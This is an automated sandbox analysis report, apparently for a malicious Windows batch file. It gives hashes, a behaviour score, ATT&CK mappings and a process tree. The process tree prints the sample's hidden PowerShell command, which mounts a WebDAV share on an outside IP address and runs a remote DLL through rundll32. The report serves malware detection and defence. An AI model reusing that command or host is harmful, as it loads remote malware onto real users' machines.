aaa894c8d2304cea680cbcca0c900eb77a76ab96fbdc9df17294654c41b31c33

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 01:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3193411744896927733.bat
Size

2KB
MD5

5316bee38f3e8096da95fff2ab95a088
SHA1

269af3083723926bc608c02a2a20f002056c4506
SHA256

aaa894c8d2304cea680cbcca0c900eb77a76ab96fbdc9df17294654c41b31c33
SHA512

a374ce1cc4366fa948428af05af86eadacdd811e5a44263c64c844161867585409f6e21175dfa1745b40d497c076696b5aaa1482edcf3f003460a7252f8622c7

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2644	wordpad.exe
2644	wordpad.exe
2644	wordpad.exe
2644	wordpad.exe
2644	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2644	2292	cmd.exe	31
PID 2292 wrote to memory of 2644	2292	cmd.exe	31
PID 2292 wrote to memory of 2644	2292	cmd.exe	31
PID 2292 wrote to memory of 2248	2292	cmd.exe	32
PID 2292 wrote to memory of 2248	2292	cmd.exe	32
PID 2292 wrote to memory of 2248	2292	cmd.exe	32
PID 2248 wrote to memory of 2808	2248	powershell.exe	34
PID 2248 wrote to memory of 2808	2248	powershell.exe	34
PID 2248 wrote to memory of 2808	2248	powershell.exe	34
PID 2248 wrote to memory of 2780	2248	powershell.exe	35
PID 2248 wrote to memory of 2780	2248	powershell.exe	35
PID 2248 wrote to memory of 2780	2248	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3193411744896927733.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4509.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2808
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4509.dll entry
    3⤵
    PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2248-21-0x000000001B120000-0x000000001B402000-memory.dmp

Filesize
2.9MB

Download
memory/2248-22-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download